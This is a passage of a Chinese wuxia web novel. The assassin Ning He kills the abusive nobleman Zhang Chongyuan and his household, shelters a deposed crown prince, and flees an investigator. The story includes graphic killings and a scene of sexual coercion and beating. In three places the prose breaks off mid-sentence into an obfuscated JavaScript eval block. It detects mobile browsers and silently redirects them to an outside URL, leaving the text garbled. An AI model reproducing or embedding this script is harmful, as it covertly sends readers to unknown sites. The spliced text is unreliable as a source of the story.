金玉刀怪笑两声,从抽屉里摸出张泛黄的纸,推到她面前:“如风小友此言差矣,老夫是怕你成饿死鬼。” 宁禾翻了个白眼,拿过纸一看。 城西槐花巷东三户张家,得罪了权贵被驱逐至此,有人出三百两取他全家十三口命,三日内交货。 她道:“我不杀好人。” 金玉刀摇头:“非也,这张重圆乃是建康士族,欺男霸女,他父母滥杀奴仆,妻子也联手他害死过十几个女子。若不是这次踢到了铁板被逐出家族,那权贵依旧恨意难消,你可接不到酬劳这么高的活。” 宁禾沉吟片刻,还是答应了。 鬼阁从不放假消息,这点还是能相信的。 但张家十有八九危险重重,金玉刀想坑她。 好在自出师起,她从未在外显露过真身手,对方不知她功力深浅。 其他事她不敢打包票,但功夫剑法,她说第一,无人敢称第二。 “好,我接。” “如事成,三日后子时,城南渡口老柳树下,找穿青布衫的人,”金玉刀说着,又递来个小小的黑木牌,“凭这个认人。” 宁禾接过木牌,揣进怀里,签字画押,转身便走。 刚出鬼阁,便听见传来一阵喧哗,原来是个卖兵器的摊主与客人起了争执,她脚步未停,顺着石阶原路返回。 金玉刀看着少年身形走远,慢吞吞走向最里侧的木门。 门后是长廊,朱红栏杆外花红柳绿,挂着一笼笼五颜六色的鸟儿。 每走一步,金玉刀老态龙钟的身形便变一分。 原本佝偻如弓的背脊如青松般舒展开来,他抬手拂过脸颊,指尖划过处,脸上的皱纹如潮水消退,露出底下光滑细腻的肌肤,连鬓边花白的发丝也渐渐染黑,垂落肩头,成了绸缎般的长发。 待到了厢房前,已变成了个年轻男子。 他生得极为俊美,眉如墨画,眼若寒星,鼻梁高挺,唇瓣薄而色淡,风流桀骜,与方才的老者判若两人。 他抬手将散落的长发拢到脑后,露出光洁的额头,侧头看着院里垂手静立的仆从。 “去传信,就说她接下了。” 4. 第4章 吴郡的雨总是很多,缠缠绵绵,如丝如愁,腾起一片朦胧水烟。 宁禾睡了一觉醒来,东墙边临时搭的床板上已经没人。 她翻起来,随手把头发束高,拿起枕头边的剑挎背上,推门出去。 清晨天阴云浓,雨线细密,厨房里飘出粳米粥的味道。 她抬袖子挡雨走过去,只见少年站在灶台前,锅里冒出的热水模糊了他俊秀的眉眼,像是云雾里的青山。 段沉玉听到脚步声,回头看她,温静浅笑:“宁娘子起来了?饭马上就好。” 可能是刚睡醒,宁禾脑子还有点不清醒,又看了少年好几眼,才迟钝应了一声。 她打水洗漱完,粳米粥和炒青菜已经端上桌子。 “你不用早起做饭,我一般都在外面吃,吃完会给你带一份的。” 段沉玉摇了摇头,“玉幸得娘子庇护,才能躲过追杀,怎能好吃懒做待着?” 他表情很认真,宁禾没再说什么。 粳米粥味道寡淡,青菜用油渣炒的,倒是很香。 宁禾吃东西口味略重,不大喜欢喝粥什么的。 她两三口喝完,抬眼看沈玉。 少年眼睫低垂,骨节分明的手捏着粗糙的陶勺,优雅而缓慢地吃着。 宁禾突然想起过去师父说的,那些世家子都自视甚高,绝不过粗衣粝食的日子,哪怕再落魄,都会花银子买酒喝。 醉生梦死。 她当时反驳师父,说人都快死了还怎么挑,没人不怕死。等饿到极致的时候,自然会像野狗般,哪里来的什么“名士风流”、“克己复礼”。 现在看到沈玉平静用粗茶淡饭,就觉得当初她说得不错,没人不会为生计和性命屈服。 就像她,为了银子违背了师父的戒律。 不过沈玉的确和她见过的士族子弟都不同。 他并非十指不沾阳春水,除了文弱些,好像什么都会点,贤惠得很。 吃过早饭,她撑伞出了门。 三日之内要取张家十三口人性命,这不是容易的事。 一来张家所在的槐花巷住得都是士族和富商大贾,贸然出手会引来隔壁府宅的护卫。 二来她要踩好点,摸一下张家的情况和张府地形。如果有异常,她宁可违单,钱没了还能赚,命没了可就真没了。 当然,死之前要把金玉刀那老狗杀了。 走上长街,她如往常般先去了人牙子那,问有没有人家要护卫,便到处闲逛,最后跟等工的散镖师和船夫蹲在桥头树下。 到了晌午,街上行人大多回家,桥头等工的人三三两两走了。 宁禾也站起来,撑伞踏上朱桥。 河下游鱼跃,河中乌篷船,河上撑伞人。 她走到城西街市,逛逛停停,在梧桐巷对面的面摊坐下。 面摊老板是个老叟,头发花白,衣裳和手都沾着面粉。 “客官,吃点什么面?” 宁禾把剑放在桌边,“一碗素浇面,加二两牛肉。” 老板笑道:“好嘞,您稍等。” 很快热腾腾的素浇面端上来,小碟子里整齐码着薄片牛肉,香气浓烈。她端起来全倒碗里,筷子一搅,慢悠悠吃起来。 吃完面,她扫过对面巷口,正准备喝汤,就看到一辆朱盖马车疾驰过街,路人惊慌避开,捂着鼻子躲灰尘。 宁禾淡淡收回视线,端起碗把汤喝了个精光,拿起剑朝对面的巷子去了。 * 张重圆喜欢喝酒,最喜欢把酒液倒在美娇娘x/口,用舌尖一点点舔去。 雪山中清泉流淌,被鲜红黏稠的蛇吸入腹中。 等喝醉了酒,玩累了的时候,就像死人般躺在床上。要是盛夏最好,可以拥着旁边冷冰冰滑溜溜的女体,醉醺醺的睡过去,一夜过去一点汗都不会出。 他是怎么发现这个好法子的呢?他也不记得了。总之等第二天醒来出去逛一圈,床上的女体便会消失无影无踪,被他那貌若无盐、聪明懂事的好夫人处理妥当。 今日夜宴过,张重圆得了个新美人。 他罗袍半敞坐在榻沿,美人着半透轻纱,鬓发散乱跪在脚边,纤瘦的肩膀轻颤,泪水涟涟。 仰头喝了口酒,醉醺醺扣住美人雪白的后颈,分开了膝盖:“哭什么,跟爷委屈你了?” 说着他扬手一巴掌,美人不敢躲,脸颊飞快红肿。 张重圆按住她后颈,压到分开的膝盖间。 “张嘴。” 话音落,半扇窗子被风吹开,烛火猛地晃了晃,随即便有雨丝飘进来。 雨势很急,起初还是嘈嘈切切的细响,转眼就成了“哗啦啦”的流水声。 摆在窗台上的海棠花,被雨点打碎。 张重圆不高兴了,朝静悄悄的门外喊:“人都死哪去了?还不快过来关窗子!” 回应他的不是仆从惊慌的声音,是骤然熄灭的灯烛,和“哐当”大开的屋门。 “啊!” 脚下的美人低呼一声,张重圆的心跟着一跳,恼怒之下一个窝心脚踹过去,起身拿起了放在檀木架上的佩剑,大步走到门口。 门外黑沉沉,檐下的灯笼不知何时熄灭,只能隐约看见仆从倒在廊庑中,生死不知。 “谁?!” 张重圆酒意醒了大半,眯眼看向烟雨蒙蒙的漆黑庭院。 他感受到一股寒意,步步后退,试图躲回屋子。 忽有闪电劈空,他定睛看去。 冰冷的雨雾中现出一道黑影。 身披蓑衣,头戴斗笠。 他看不清他的脸,只看到他手里的剑。 张重圆肥胖的脸惨白,大步后退,朝庭院大喝:“抓住他!” 院墙外顷刻跃出二十道黑影。 戴斗笠的人却没动。 张重圆早猜到桓家人不会放过他,来吴郡前就求家主给了二十个顶尖暗卫,隐在暗处护他周全。 等的就是今日! 暗卫团团包围,那黑影依旧没动。 他暗道不好,飞速要关上屋门。 “唰!” 剑出鞘。 银光在雨雾中一闪。 他手臂随之一凉,愣愣低头,只见自己的小臂出现一道血线,紧接着溅起一股血,衣袖连同小臂掉在了地上。 “啊啊啊啊!!” 痛觉后知后觉,张重圆满脸满身的血,一屁股坐在地上,抱着胳膊惨叫。 “快,快杀了他!杀了他!” “把他给我剁碎!剁成肉泥!” 张重圆在地上打滚,痛叫怒骂,雨噼里啪啦打写檐瓦,把他声音遮盖得几乎听不清。 暗卫也被这变故吓到,闻声立刻动了,一齐攻去。 刀光剑影比雨更密。 宁禾不闪不避,身形一晃,如池中浮萍,衣衫下摆扫过石板积水,溅起一串细珠。 她手腕一翻,剑身彻底出鞘。 剑势倏起。 但见银光荡漾,剑尖抖出点点寒芒,分刺数人手腕,正是“醉花剑法”中的起手式“花间醉酌”。 叮叮当当一阵急响,左阵五人俱觉腕上一震,攻势顿缓。 暗卫飞速移位,杀招不断。 宁禾步法飘渺,似醉非醉,在雨中旋身腾挪,似将周遭雨丝都拢了进来,剑身卷扫,雨如花瓣碎裂,往暗卫飞射去。 一时间,雨打花飞,银芒如织,竟不知是剑光映雨,还是雨化剑光。 围攻者俱是高手,却从未见过如此诡谲剑法。 那剑招时而如狂士醉饮,倾壶而泻,时而如美人醉卧,慵懒无力,但每一式皆藏杀机。 醉折花枝,飞雨乱红。 一名大汉举刀相迎,那剑尖却似蝴蝶穿花,在他刀身上轻轻一点,借力荡开,反手便刺入他肩井穴。大汉闷哼一声,软倒在地。 “变阵!”暗卫急呼。 话音未落,宁禾剑招已变。 她左足微旋,身形如风中摆柳,剑招忽快忽慢。 暗卫转眼死了大半。 余下五人见状,愈发不敢大意,刀剑齐出,招式狠辣。 雨越下越急,芭蕉叶被打得噼啪作响。 宁禾的蓑衣被划破,里头的黑色劲衫湿透。 暗卫里有个用枪的。 这人最开始枪法平平无奇。 俗话说一寸长一寸强,等她意识到是圈套,已来不及躲闪,被一□□破肩头,随之有刀光劈面而来。 她仰身后滑躲过,剑招忽收,手腕一绕,剑在身前画出个圆,如含苞待放的荷花,将袭来的三柄兵器尽数圈住。 “叮”的一声脆响,三柄兵器竟被她剑上的巧劲带得互撞,火星在雨幕中一闪而逝。 宁禾不想久战,身形如燕,足尖点在石榴树细枝上,而后如流星坠地,朝余下二人猛攻。 暗卫大惊,挥刀去挡,却听得“咔嚓”的一声,心口的护心镜被剑搅碎,胸口/爆开一朵血花。 地上躺着二十具尸体,青砖上的鲜血顺着雨水蔓延扩散。 宁禾剑尖垂下,血珠混着雨水,连成细线滴落。 她踏过一具具伏尸,靴子踩在血水里,发出轻微而粘腻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张重圆大骇,拽着她裤脚哭嚎,“壮士,大侠,只要你不杀我,张家重重……” 宁禾掏了掏耳朵,“噗呲”一声捅穿了他的喉咙。 张重圆瞪大眼睛,“嗬嗬”几声,转眼没了动静。 宁禾断了他戴着扳指的右大拇指,塞进腰间牛皮囊袋中。 正准备走,余光瞥见缩在榻边发抖的美人。 她犹豫了一下,抬剑鞘卷起榻上的薄衾丢在美人身上。 “想活命,就赶紧走。” 美人愣住,哆哆嗦嗦拉好薄衾把自己裹住,看着刺客的背影远去。 她不知哪来的勇气,扶着榻爬起来,往前踉跄追了两步,“恩公,敢问姓名?” 宁禾脚步微顿,侧过半边脸。 “禾如风。” 说罢足尖一点,跃入黑色雨幕。 “妾名唤秀珠,会一直等恩公来寻!” 宁禾听见了,踩在瓦片上的脚底一滑。 * 张重圆一死,取走余下十一人的命,不过是一刻的事。 宁禾装好十一根手指,跃出张府,避开街上巡逻的守卫,飞快掠回鬼巷。 进了院子,屋子的方窗透出昏黄灯火。 她走到檐下把斗笠摘了,推门而入。 少年一身白袍坐在桌旁,乌发如瀑散在后腰,手里拿着卷书,姿态静雅。 他在看宁禾之前买的话本。 段沉玉听门被推开,抬头看去。 少女浑身湿透,脸色发白,水顺着衣角往下淌,在门槛边积了小滩湿痕。 他鼻尖微动,嗅到一股淡淡的血腥。 舒展的眉峰骤然蹙起,起身时带倒了凳子,发出轻响:“宁娘子,你受伤了?” 宁禾没应声,反手关上门,靠在门板上喘了口气。 她抬手想解背后的剑,左臂刚一动,伤口便扯得钻心疼,动作顿了一下。 段沉玉快步走近,伸手想去帮她把剑卸下来,“娘子肩膀受伤,莫乱动。” 宁禾猛地侧身避开,剑骤然出鞘。 段沉玉眼睛一花,就看到寒芒停在眼前。 少女面若霜雪,声如寒冰碎玉:“想死吗?谁准你碰我的剑。” 5. 第5章 剑尖近在咫尺,段沉玉没有躲闪。 宁禾定定看着他。 灯火昏黄,少年白衣如雪,剑身映出他清澈的凤目。 他知道这柄平凡的乌鞘剑对宁禾很重要,连睡觉都要放在枕边,压在掌下。 起初他以为是做惯杀手的本能,后来又觉得不太像。 方才举动,不过是刻意的试探。 他确定宁禾不会杀他。 他想知道她的底线。 段沉玉垂眼,纤长的睫毛颤抖,声音很轻:“是我唐突了,宁娘子莫恼。” 他嗓音清润,犹如拂山云雾,没生气,亦不曾惊慌后退,反而态度谦谨。 只是脸色有些发白。 宁禾紧绷的神经,不知不觉就松了几分。 她不想让自己这么快就卸下防备,可脑海浮现这几日他做饭洗衣,温柔勤快的样子。 “以后再碰我的剑,我会毫不犹豫杀了你。” 她别过头,缓步走到椅子跟前坐下,费劲解开剑带,取下剑鞘搁在桌边,用干净布子细细擦净剑身。 看到上面磕出的豁口,她脸色不太好看,把剑收鞘。 段沉玉看她唇瓣血色浅淡,温声道:“我帮你拿伤药打水。” 说完他打开柜子,把里面的伤药布巾等物都拿了出来,放在桌边后,脚步匆匆去打水。 过了片刻,他端着铜盆进来,放在地上,又提了一桶热水来。 “我去外面守着,宁娘子有需要就喊我。” 屋子只剩下宁禾。 她看了眼门,脱下上半身的湿衣。胸口勒着白布也湿透了,她一圈圈解开,侧低头看肩膀上被枪挑破的伤口。 三寸长,深可见骨,边缘被泡得发白。 她把布子浸湿,拧半干擦去伤口周围的血污,简单擦洗了一下,才将伤药撒在伤口上,动作利落。 受惯了伤但不代表不痛,宁禾轻抽了口气,额角的汗顺着脸颊滑到下巴尖,滴落在地上。 窗外的雨还在下,打在窗纸上“沙沙”响。 段沉玉站在门口屋檐下,雨珠成串落下,溅上他的袍角。 风吹来,细雨斜飞,他肩头湿了一块。 他看着沾了泥点的衣衫,秀眉微拧。 段沉玉好洁,若是过去,他定会立刻去沐浴更衣。 如今沦落至此,也只得咽下去。 少年宽袍大袖,长身玉立。抬头看乌沉沉的天,两丸如玉眼眸冷漠。 屋里传来闷哼,段沉玉回过神来,朝映着暖光的窗户看去一眼。 脑海浮现宁禾浑身尖刺的模样,他唇角微弯,无声而笑。 他见过各种各样的人。 八面玲珑的,刚正不阿的,贪财好色的…… 而宁禾这样的人,往往看似冷硬无情,实则最是纯良赤忱。 宁禾缠好绷带,把一些细小的伤口一并撒药处理了,换了干爽的衣衫。 “进来。” 段沉玉推门进屋。 伤药已经放回柜子,盆里堆着湿衣和沾血的布条。 宁禾坐在桌前,衣袍宽松,湿漉漉的发丝垂在肩头,容色苍白。 他缓步上前,主动端起铜盆。 宁禾抬眼看他,“直接烧了。” 段沉玉愣了一下,点头应下:“好,玉知道了。” 他走到厨房,把衣物一件件塞到灶中,待拿起一团白布,动作一顿。 这是何物? 他抖开来看,布约一尺宽,很长,雪白洁净一点血污都没有,隐隐有淡香。 段沉玉年方十六,十三便定下太子妃,若不是被废,今岁早已成婚。 他稍加思索后便明白了是什么。 湿润洁白的布条好似化身成蛇,咬了一口他的手指。 他蓦地松开,温静的神情僵硬,耳尖薄红。 布落在地上,沾了污尘,他静静看了好一会,才抿唇拾起来,丢进红通通的灶膛。 * 翌日清晨,张家主院廊庑中昏迷的仆从悠悠转醒,待看到庭院中的尸体和屋里死不瞑目的主人,发出一声凄厉的哀嚎。 叫声吵醒了其他昏迷的仆从,张家顿时混乱起来。 不过一刻,官府便得了消息,一队衙役匆匆赶来,将张家围得严严实实。 为首的捕头看着院里的血腥场面,倒吸一口凉气,一边命人封锁现场,一边派快马去请仵作。 郡守得知此事后,即刻放下手中公务,亲自赶来。 他身着官服,神色凝重,下了马车便快步走进院子,看到张重圆一家的尸首,脸色瞬间阴沉,转头对捕头厉声道:“给我查!我倒要看看哪个如此胆大包天,敢对士族下手!” 按大晋律令,别说杀士族,平民哪怕是伤了他们,都逃不过阖家丧命的下场。 但士族杀人无碍。 只是大部分士族在乎名声,不会光明正大杀人。 消息飞速传开,街头巷尾议论纷纷。 有说张重圆得罪了江湖高手的,也有传是旁的士族下手。 但这些流言很快被官府压下,衙门贴出告示,严禁百姓私下议论,违令者重罚。 官府的人上门,宁禾一人在院子里练剑,段沉玉躲在地窖里。 这群官兵随便搜查了一番就走了,丝毫没怀疑。 三年前宁禾和宁扶花来到吴郡,她不久就去官府挂牌“护卫”的身份,故而她不怕被查,也不怕被看到伤药。 更何况这鬼巷在吴郡人眼里万分晦气。 这地方闹鬼二十年,曾有人不信鬼神,搬来住了还没半月,家中便频频出事,甚至还死了人,一连三户人家都如此。 后有来吴地新任职的刺史郡守,不信邪想拆了这片占为己有,结果也出了事。 从那以后,便再无人敢住这,也无人敢拆。 直到三年前宁禾和宁扶花搬来。 在吴郡人眼里,她们是怪胎般的存在。 宁禾也不解释,或者说这就是她和师父所希望的。 大隐隐于市,但不和任何人深交。 有朝一日做完该做的,存够了银子就金盆洗手,买座大宅子,潇洒轻松过完余生。 * 很快到了约定的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她开始矜矜业业当护院,时不时听听旁人议论张家的事,确保没有异常。 这日傍晚下值,她在街头摊上买了两个饼,慢悠悠回家。 霞光满天,河中浮光跃金,乌篷船挨挨挤挤,有出城的,有刚回来的。 宁禾走入鬼巷,刚转过墙角,步子忽地一滞。 她内力顶尖,有听风辨位的本事,隔着百步,便觉院子方向有道若有若无的陌生气息。 换作旁人决计感受不到。 她脸色沉凝,悄无声息拔剑,屏息收气,如猫般贴着墙根轻步靠近。 越近,那气息越清晰,沉稳绵长,很明显是武艺高强的练家子。 耳中随之传来沈玉温和的说话声,只是字句模糊,听不真切。 她眯了眯眼,没有走门,提气跃入墙内。 暮色下小院寂寂,唯有风吹梧桐叶哗啦啦轻响。 窗内烛火暖黄,映出两道模糊的身影,说话声已经停了。 倏地,“轰”的一声巨响! 两扇房门迸裂开来,木屑纷飞如雨。 一道人影裹着凌厉劲风破门而出,快得只余一抹青灰色的残影。 雪亮寒光劈开浓暮,如朔风卷雪,直取她咽喉。 6. 第6章 宁禾不退反进,身子一偏,反手扣住这人握刀的脉门,四两拨千斤一带,一招“流云拂月”借势旋身。 黄衫翩然荡起,恍若风中转荷,已轻飘飘转至来人身后。 这人变招也很快,翻腕挣脱,刀锋回扫。 但显然宁禾更快一筹,后仰躲过,在他扭身挥刀之际,一脚蹬在他后背。 她内力深厚,这一脚下去,青衣人控制不住身形,踉跄前冲数步,手中刀势尽散。 不待他回气,宁禾第二腿又至,重重踏在他后心。青衣人撞倒了晾衣服的竹竿,扑倒在地。 宁禾提气飞身,踏住在他脊背,力道一沉,青衣人身下尘土飞扬,彻底动弹不得。 他怎么都没预料到,这看似俏丽灵动的女郎,竟有这么一身惊人武功,仅仅三招就把他踩在脚下。 堂堂太子暗卫,居然被个江湖人打败了,奇耻大辱! 宁禾的剑尖抵在他后心,眼看就要扎下去。 “宁娘子且慢!” 段沉玉从屋里快步走出,身后还跟着两个同样穿青色劲装的护卫。 “他是我护卫,无意冲撞娘子,还请你剑下留情。” 宁禾脚下力道没松,冷道:“你护卫?为何不分青红皂白动手?” 段沉玉走到她跟前,玉面薄红,歉声道:“我让断岳在门边守着,哪知他性子莽撞,突然破门而出。” 说着他拱手作揖,“实在对不住,玉替他给娘子赔不是了。” 宁禾这才松了脚,收剑打量着沈玉。 断岳从地上爬起来,拍了拍身上的土,一张娃娃脸涨得通红。 段沉玉神情温和,扫了眼断岳,“给宁娘子道歉。” 断岳头皮一凉,赶紧走到宁禾面前,抱拳鞠躬,诚恳道:“是断某的错,察觉到有人翻墙而入,以为是贼……” 宁禾:“……” 她自己家,怎么就不能翻墙了?明明他们才是不速之客。 段沉玉轻飘飘一眼,断岳抖了三抖,腰又往下弯了点,大声道:“是在下鲁莽,望宁娘子海涵!” 宁禾懒得理这种莽夫,摆了摆手。 她扫了几眼三个护卫,很快摸清了他们的路数和底子。 功夫上乘,也就只是上乘而已,甚至比不得鬼阁那老狗金玉刀。 她看着沈玉,“你故意让他试我。” 她不是个能忍的性子,在可控范围内,向来是有什么说什么。 沈玉让断岳试探她的武功深浅。 旁边扶晾衣杆的断岳浑身一僵,竖起耳朵听。 段沉玉收了笑,定定看她一眼,两颗如水眼珠映着浓烈的霞光。 “是。” “倘若我不敌他,你待如何?” “付清银钱,离开吴郡。” 段沉玉君子六艺皆属上乘,骑射算大晋士族里一等一的,只是到底比不得江湖高手。 他只知道宁禾厉害,却不知她到底多厉害。 若她真敌不过断岳,那便祭了他的刀。 身处乱世,死了也是她的命。 段沉玉少有美名,才华横溢,待人接物温和有礼。 身为储君,他引臣子为知己,从谏如流;身为兄长,关怀皇弟皇妹衣食住行;身为儿子,也曾多次衣不解带,照料卧病在床的母后。 他是众人口中的“温君”、“贤君”。 可只有他自己知晓,他从不因情而动,行为处事只为攘权夺利。 少年白衣如雪,眉眼平和,坦然回望着她。 宁禾心头的怀疑散去,她没兴趣继续问,哦了一声,伸手摊开:“酬劳。” 段沉玉微微侧头,身后方脸阔面,神色冷肃的护卫拿来个木匣子,放在小臂上打开。 十二枚银锭,六百两。 比之前说好的酬劳要多五百两。 宁禾没接,皱眉道:“无功不受禄,你什么意思?” 段沉玉眼神黯然下来,“家中叔伯已占尽家产,我欲前望秦地寻外祖相助。” 他抿唇,突然拱手作揖,鬓边碎发滑落:“玉想请宁娘子一路护送。” 宁禾不解:“你不是有护卫吗?” 段沉玉站直身子,苦笑一声:“我父亲的死有蹊跷,他们得留在大晋暗查。” 他神情真挚,态度诚恳:“宁娘子,若你能护送玉某往秦,定千两相报。” 宁禾毫不犹豫拒绝:“我不去。” 段沉玉还想说什么,宁禾已经从匣子中拿了两块银锭,转身往屋子走。 “后日黄昏前离开,不然别怪我不客气。” 毫不客气的逐客令。 段沉玉不觉得恼怒,微微一笑:“既然宁娘子不愿,玉也不会强人所难。” * 第三日清晨,宁禾下夜值回家。 薄雾朦胧,晓风微微。 宁禾推开院门,见庭中寂寂,梧桐沙沙,竹竿上晾着她的衣衫,还在往下滴水。 少年身影已不再。 她闻见一股淡淡的米香,混着莲子的微苦的气味。 脚步顿了顿,走到厨房门口,见锅里正煨着莲子粥,锅盖缝里冒着细白的热气。旁侧竹蒸笼里温着三只蟹粉灌汤包,并一碟切得极细的酱瓜。 粥和包子还温着,显然是刚离火不久。 他竟记得她最近上火,记得她随口提想去买蟹粉包吃。 宁禾心情复杂,对沈玉试探她的那点不满,彻底消散。 她甚至有点愧疚,觉得自己这两日言辞不耐,太过冷漠。 好歹是雇主,还给她洗衣做饭个把月,她态度该好点的。 宁禾叹了口气,转身往正屋走,推开门,便见木桌茶杯下压着张纸。 展开纸,上面的字迹清峻飘逸。 「今晨辞行,不及面别。粥在灶上,温而食之。此去山长水远,江湖路险,若幸雪恨,愿得再遇。沈玉顿首。」 宁禾默了一阵,把纸团一团抛进水盆,字迹很快泅湿模糊,什么都看不清了。 薄雾渐渐散了,阳光穿过窗纸。 屋外檐下燕子掠影而去,满院树叶簌簌,唯独没有沈玉清润嗓音。 * 沈玉的事,如长歌遗韵,只是宁禾漫长人生微不足道的一段。 此后的五六日,她每日寅时即起,前往富商府邸佩刀巡院,傍晚收工回家,日子安稳平静。 只是偶尔晨起时,宁禾会迷迷糊糊地对着空屋问一句“今日吃什么”,反应过来后又自嘲笑笑。 也不怪那些高门大户腐败,她享受了段被沈玉伺候的日子,他一走竟有些不习惯了。 可江湖人本就聚散无常,她谨记师父的话,这点念想很快便被日常琐事压了下去,照旧是每晨两个馒头一碗粥,吃完上值。 又过了七八日,富商见宁禾性子沉稳靠谱,把她调到大女儿院子做护卫,酬劳涨一两。 宁禾自然乐意,给女子做护卫,可比面跟那些张口闭口荤话的汉子做同僚好。 说起来这富商也是人物,姓赵,做丝绸生意起家,十几载就从走街串巷的卖货郎,成了吴郡有头有脸的人物。 赵小娘子年十四,待下宽厚,宁禾平日里不过是跟着去寺里进香、去绸缎庄挑料子,日子比在外院时清闲。 这日赵家设赏花宴,请了城里好些名门闺秀。 宁禾守在水榭外,抱剑而立,目光扫过往来仆役。 水榭内笑语盈盈,她本不曾留心,直到“张家灭门”四字随着风飘进耳中。 她面色不变,凝神细听。 “阿芷,你听说没?建康不知为何对张家灭门案上了心,听说要派廷尉评陆靖来吴郡亲查呢!这位可是个厉害角色,前年建康‘胭脂楼命案’,满朝都查不出头绪,他三天就揪出了真凶,连王丞相都夸他察微知著,断案如神。” 赵小娘子轻“呀”一声:“竟派这么大的官来?看来张家案……” 宁禾皱眉,若有所思。 廷尉评是廷尉寺属官,专掌刑狱断案,相当于京里派来的“活阎罗”。 朝廷怎么突然重视起来了?桓氏近日也不曾听得有什么大变故。 宁禾很确定自己未留下痕迹,鬼阁那边也不可能冒着被全武林追杀的风险,向朝廷出卖阁内的挂名杀手。 但她隐隐有种不安感,总觉得这事没那么简单。 宁禾没动声色,决定先观察两日,看看风向再做打算。 她怕这消息是陆靖故意放出来,引蛇出洞的。 接下来两日,宁禾格外留心。 陆靖比消息里提前三日到了吴郡。 第二日清晨,宁禾刚出巷口,便瞥见个穿短打的卖货郎,在鬼巷和对面的清河巷外晃悠。 傍晚下值,她感觉到巷中几座破宅有几道气息。 显而易见是探子。 宁禾面不改色回家,一进屋脸色沉了下来。 陆靖刚到就查这一片,显然是有了些线索。 是鬼阁卖了她? 还是说她真的遗漏了什么。 到了夜里,她确定巷子的人撤走,易容后换好夜行衣,足尖点着墙檐,悄无声息地潜到了郡守府邸,猫在房顶,揭开瓦片朝下看。 暖光融融,郡守正跟小妾喝酒,污言秽语调笑。 宁禾面无表情听着,一直过了半个多时辰,才听到小妾突然骂陆靖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349835|183547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那姓陆的好生张狂,竟敢给大人甩脸子。” 郡守冷哼一声:“他有太后撑腰,自然傲慢。” 小妾道:“他真查清张家的事了?该不会是准备随便找个人顶罪,拿来当政绩吧?” 郡守眼神陡然一利,扇了小妾一耳光:“贱婢,慎言!” 小妾跪在地上哆嗦,一句话都不敢说了。 宁禾正正准备走,就看到郡守把小妾扶起来抱进怀里,抚摸她红肿的脸颊:“你也别怪爷动手,有些话会害死人的。” 他顿了顿,靠近小妾的耳朵,低声道:“我只知道,他的确手里有点证据,好像确定凶手在清河巷一带。” 宁禾心一沉,无声放回瓦片。 虽说没指名道姓是查到鬼巷,但她心底不安感越来越强。 吴郡待不成了,她得趁早谋划。 接下来三日,宁禾依旧照常跟着赵娘子出入,矜矜业业,半点看不出异常。 她暗地里摸清了赵家商队的动向。 每月十三日寅时,赵家会派货车往城外送丝绸。 宁禾找机会观察,发现车底有处空隙,正好藏得下一个人。 第三日夜里,宁禾将该销毁的东西丢灶膛烧干净,把一匣银子深埋在梧桐树下。 而后往包袱装了师父的牌位,三锭银子,以及易容用的东西,便趁探子换值的空档,前往赵氏外院。 寅时初天色漆黑,商队装车,欲往东阳郡去。 宁禾如一片柳叶悄无声息滑入车底,手指紧扣底板缝隙,身体悬空贴着。 寅时末明月梢落,两三点星子浅淡。 城门大开,商队出发。 车队吱吱呀呀出了城,她才稍稍松了口气。 行出十里,官道两侧草木繁茂,远处青山黑影朦胧。 宁禾没有轻举妄动,想着等离吴郡地界再远点,找机会遁走。 过了一刻,雷声隆隆,随即暴雨倾盆,噼里啪啦敲打马车,车轮溅起泥水,她后背湿了一片。 后方忽然传来急促马蹄声。 “停下!官府查案!” 宁禾心中一紧,知是追兵来了。 她屏息往车轮底下弹射块石子。 车轮裂开一道,车身往旁边倾斜,宁禾趁机松手滚入草丛。 待车队停下受检时,她已潜入道旁山林。 风雨交加,山路泥泞难行。 宁禾身轻如燕,点树借力,往山深处的寒山寺掠去。 大晋普遍崇佛,历任帝王大量捐资修建寺庙,赏赐田产,甚至允许寺庙拥有佃户和免税特权。 佛教内部形成特有戒律体系,僧人行为主要由寺庙内部依据戒律处理,官府通常不直接干预。 世俗律令仍适用于僧人,但出于对佛教的尊重,官府进入寺庙查案需遵循特定惯例,譬如有逮捕令,须告知主持,不得擅闯。 师父曾给她说过,现今武林中各派,当属这群秃子过得最舒服。 宁禾选择此处,也是为了拖延时间。 雨幕中,她很快看到山腰处的寒山寺,寺门紧闭。 她自偏门潜入,避开主殿,随便找了个偏僻的殿,闪身入内。 推门进去,香灰味扑面而来。 这殿供奉十殿阎罗,平日少有人来,最是隐蔽。 殿内黑漆漆的,只有几盏长明灯泛着幽光,十殿阎罗塑像环立四周,判官持笔,无常执链,牛头马面狰狞可怖。 闪电透过窗棂,在一张青面獠牙的鬼判脸上明明灭灭,好似在注视着她这个贸然闯入者。 宁禾不信鬼神,握着剑柄环顾四周。 忽听细微响动,心中一凛,立即闪到柱后,握紧剑柄。 只见判官像后转出个人影,身形颀长,宽袍广袖,乌发如瀑披散,缓步行至正对大门的阎罗像前。 他举香拜了三拜,插/入香炉,行止端雅,姿态虔诚。 正当宁禾以为这人是什么狂热佛教信徒,就见他信手扶袖,拿起供桌上的水果和糕点。 宁禾:“……” 虽说她不信神佛,但当着阎罗的面偷供品,真的合适吗? 她只能看到那人的后背。 正当她琢磨要不要挟持此人,门外传来嘈杂人声,有官兵在高喊:“封山搜查!一草一木都不许放过!” 火把亮如星河,橙黄的光透过窗纸照进大殿。 